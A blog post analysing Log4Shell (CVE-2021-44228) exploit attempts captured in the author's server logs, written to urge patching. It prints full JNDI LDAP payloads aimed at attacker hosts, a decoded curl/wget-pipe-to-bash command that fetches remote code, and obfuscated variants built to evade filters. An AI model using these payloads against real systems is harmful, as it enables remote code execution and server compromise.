Coffee Space


Listen:

log4j RCE

Preview Image

If you run log4j, leave this article and patch your stack immediately!

Background

A few days ago, a very serious remote code execution exploit was found in the log4j library, a Java logging tool. This is formally CVE-2021-44228. This bug is so bad that just typing it into the Minecraft chat will exploit both the server and all attached clients.

Exploitation

I saw an article claiming that the RCE is being actively exploited, but assumed that it was only being done against major pieces of software.

I re-addressed this assumption after reading the following HackerNews comment by elric:

We’ve been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs:

/?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/<base64 encoded call to curl & bash>

Patch your tools, folks. If you can’t do that, modify your ingress services and have them filter out stuff like this.

Attacks

Time to grep my logs… Sure enough I find somebody trying to exploit this also on my server:

0001 45.155.205.233 - - [10/Dec/2021:09:05:15 -0500] "GET / HTTP/1.1" 200 1199 "-" "${jndi:ldap://45.155.205.233:12 344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0Myl8YmFzaA==}"

Running $ cat storage.txt | grep jndi, so far I have recorded the following attacks:

As you can see, the exploitation started on the 10th of December and have been coming in ever since.

Locations

Some notes about the IPs:

  • 45.155.205.233 - Most dominant location, appears to be from Russia.
  • 171.25.193.20 - A failed exploit? Appears to be from Sweden.
  • 46.101.223.115 - Appears to be a friendly hactivist using DigitalOcean to warn people 1.
  • 194.48.199.78 - Another exploiter, this time from the UK.
  • 138.197.167.229 - And one last one using DigitalOcean again.

Malicious Payloads

Here I want to discuss some approaches and try to uncover their intentions.

45.155.205.233

Our ‘Russian’ friend appears to have several approaches over the last few days.

Approach 1

The following payload was sent twice:

0002 ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0Myl8YmFzaA==}

Base64 decoded we get the following:

0003 (curl -s 45.155.205.233:5874/198.12.85.147:443||wget -q -O- 45.155.205.233:5874/198.12.85.147:443)|bash

This appears to be pulling a script and letting the server know it was performed on port 443, i.e. via HTTPS.

Approach 1 v2
0004 ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE5OC4xMi44NS4xNDc6ODApfGJhc2g=}

Base64 decoded we get the following:

0005 (curl -s 45.155.205.233:5874/198.12.85.147:80||wget -q -O- 45.155.205.233:5874/198.12.85.147:80)|bash

This appears to be pulling a script and letting the server know it was performed on port 80, i.e. via HTTP. The callback port also appears to change for some reason.

Approach 1 v3

I’ve broken this approach up into two parts:

0006 ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0Myl8YmFzaA==}
0007 ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0Myl8YmFzaA==}
0008 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTguMTIuODUuMTQ3OjQ0Myl8YmFzaA==}

It appears that they have already done some work to avoid basic filtering. It seems that both ${lower:l} and ${::-l} resolve to l in log4j.

Payload

Unfortunately, I have not been able to download the payload either locally or on the server it was supposed to exploit 2. This could be because the server is patched, some network wide filtering or going on, they have exploited so many clients that they are overloaded or simply that they have now moved VPS elsewhere.

171.25.193.20

And now from our ‘Swedish’ friend:

0009 ${jndi:ldap://205.185.115.217:47324/a}

Oof, not everybody was born to be a hacker. This is literally the example given in an article: ${jndi:ldap://example.com/a}.

46.101.223.115

This one appears to be somebody warning others of the exploit:

0010 ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}
194.48.199.78

It’s nice to hear somebody from the UK, but it’s a shame it’s under such a circumstance! Send me love, not malware!

0011 /?x=${jndi:ldap://${hostName}.c6qg2lspu892jo716f40cg4o1naypoy3c.interactsh.com/a}
0012 ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qg2lspu892jo716f40cg4o1naypoy3o.interactsh.com}
0013 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qg2lspu892jo716f40cg4o1naypoy3q.interactsh.com}

I ran wget debian.c6qg2lspu892jo716f40cg4o1naypoy3q.interactsh.com and it returned:

0014 <html><head></head><body>q3yopyan1o4gc04f617oj298upsl2gq6c</body></html>

Again we see some escaping - possibly to bypass some filters now being actively applied.

It’s not entirely clear how this one is supposed to work, it’s just sending back the subdomain backwards? It appears like it might be another failure of an exploit.

138.197.167.229

And lastly a DigitalOcean instance:

0015 ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

This time running wget world80.log4j.bin${upper:a}ryedge.io:80/callback returned a file simply with the following:

0016 monkeys

Okay then.

JNDI LDAP Callback

The last two approaches look similar. Looking at Java’s JNDI LDAP, it doesn’t appear that any of these servers are providing valid attributes to the URL. Perhaps they are just gathering lists of exploitable servers at this point?

Discussion

This is an ongoing mess and it’s likely that tonnes of software will not end up being patched for a very long time. I really suspect this will go on to byte people in the future.

I personally ended up rolling my own logging for dead social, I specifically even wrote a utility to log unsafe data to disk:

0017   /**
0018    * logUnsafe()
0019    *
0020    * Log a String to the terminal and disk, which has a potentially unsafe
0021    * String that should be Base64 encoded. Unsafe Strings printed in the logs
0022    * could for example affect parsing (for example, newline characters).
0023    *
0024    * @param msg The message to be logged.
0025    * @param unsafe The message/data that is potentially unsafe.
0026    **/
0027   public static void logUnsafe(String msg, String unsafe){
0028     write(">>", msg + " B64:'" + Base64.getEncoder().encodeToString(unsafe.getBytes()) + "'", false);
0029   }

I remember looking at log4j and thinking to myself “why do I need a several megabyte package for doing simply log files on the disk?”. There are some nice features it has, such as log file rotations, but they are not worth the shear size of the thing. In retrospect, it is not a decision I regret at all!

Stay safe folks!


  1. Note: If you are reading this, you should really be careful doing this as some Countries still consider this an attack, even if the intention are good.↩︎

  2. Note: A clever attacker might put some checks to make sure the payload is downloaded to the right machine, offering some different payload to security researchers for example to slow them down.↩︎